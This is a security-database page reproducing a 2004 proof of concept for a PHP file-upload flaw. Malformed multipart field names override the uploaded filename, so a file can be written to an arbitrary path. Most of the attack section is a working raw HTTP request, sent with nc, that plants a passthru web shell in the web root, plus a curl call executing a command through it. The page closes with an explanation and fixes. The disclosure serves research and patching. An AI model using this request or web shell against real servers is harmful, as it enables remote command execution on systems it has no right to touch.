Lucene search

K

phpPOC.txt

🗓️ 01 Oct 2004 00:00:00Reported by Stefano Di PaolaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

PHP file upload vulnerability allows arbitrary filename exploit in risky versions of PHP.

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`PHP File Upload Vulnerability POC  
  
Title: Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File Upload  
Author: Stefano Di Paola  
Affected: Php <= 5.0.1  
Not Affected: Maybe some old Version of Php before 4.2.x  
Vulnerability Type:  
Possible write of a downloaded file in an arbitrary location.  
  
Resources: Recently published on Bugtraq and VulnWatch  
  
  
  
Description:  
  
  
By forging an appropriate request for a Mime multipart/form-data file it is possible to set the "name" element value to an arbitrary filename if the name of $_FILES element contains a '_' (underscore) like "user_file" Let's use Example 34-2. Validating file uploads (changing 'userfile' to 'user_file') from http://www.php.net/manual/en/features.file-upload.php :  
  
-----file: upload.php------  
<?php  
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used  
instead  
// of $_FILES.  
  
$uploaddir = '/var/www/uploads/';  
$uploadfile = $uploaddir . $_FILES['user_file']['name'];  
  
print "<pre>";  
if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {  
print "File is valid, and was successfully uploaded. ";  
print "Here's some more debugging info:\n";  
print_r($_FILES);  
} else {  
print "Possible file upload attack! Here's some debugging info:\n";  
print_r($_FILES);  
}  
print "</pre>";  
  
?>  
----end file: upload.php------  
  
N.B. The is_uploaded_file php function has been added to proof that this check is bypassable.  
  
Let's suppose that /var/www/html/ is writable by apache user (or any other dir in apache root).  
  
$: (cat form)|nc 127.0.0.1 80  
  
<pre>  
File is valid, and was successfully uploaded.  
Here's some more debugging info:  
  
Array(  
[user_file] =>Array(  
[name] => ../html/passt.php  
[tmp_name] => /tmp/phpucjLV1  
[error] => 0  
[size] => 30  
[type] => application/octet-stream  
)  
)  
</pre>  
  
where form is:  
  
-----8<---form-------8<-----  
POST /upload.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)  
Gecko/20040115 Galeon/1.3.12  
Accept:  
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1  
Accept-Language: en  
Accept-Encoding: gzip, deflate, compress;q=0.9  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Connection: keep-alive  
Referer:  
Content-Type: multipart/form-data;  
boundary=---------------------------1648318426118446961720965026  
Content-Length: 395  
  
-----------------------------1648318426118446961720965026  
Content-Disposition: form-data; name="user[file[name]123";  
filename="p.php"  
Content-Type: ../html/passt.php  
  
<?  
passthru($_GET['cm']);  
?>  
  
-----------------------------1648318426118446961720965026  
Content-Disposition: form-data; name="user[file[type]123"; filename="vg"  
Content-Type: application/octet-stream  
  
<?  
passthru($_GET['cm']);  
?>  
  
  
-----8<---endform----8<-----  
  
By looking closely our request it can be noted that the name of uploaded file is going to be valued by 'Content-Type: ../html/passt.php' and not by filename='p.php'  
Second section is injected just to make things more 'normal', by allowing php interpreter to instanziate 'type' element, but it's just a matter of style...  
  
And then let's verify that all went right:  
  
$: curl "127.0.0.1/passt.php?cm=id"  
uid=72(apache) gid=72(apache) groups=72(apache)  
  
  
Done!  
The Issue  
This vulnerability permits to bypass the sanitization php interpreter does on filename to remove prepended directories. So if the developer of a upload php script trust in php pre sanitization of input, a malicious user could use this flaw to upload a file in an arbitrary location. The issue is in the fact that, as can be seen in request, by playing with sqare brackets and by appending some non ']' at the end of the 'name' variable value, a malicious user can fool the array parser embedded in php interpreter, resulting in a different array from the expected one.  
  
I won't go too deep in details on why this was possible (it's just a matter of debugging), but it should be enough to know that the parameter 'name' value in request ('user[file[element]123') is parsed firstly as a simple String type by SAPI_POST_HANDLER_FUNC (is_arr_upload = 0) and then parameter is parsed again by php_register_variable and seen as an array.  
This flaw creates a incongruence in the type of the variable, that can be used to exploit the php upload script.  
Additional Topics  
by playing with arrays of arrays and open square brackets I did a lot of thing but the *big* thing is this one.  
The Solution  
The most simple solution consists in downloading and installing php 5.0.2 or 4.3.9 that have been released a couple of days ago.  
  
An alternative solution is to check if $_FILES[]['name'] is really a stripped filename by using something like this: $filename=basename($_FILES[]['name']);  
  
Florence, September the 26th 2004  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo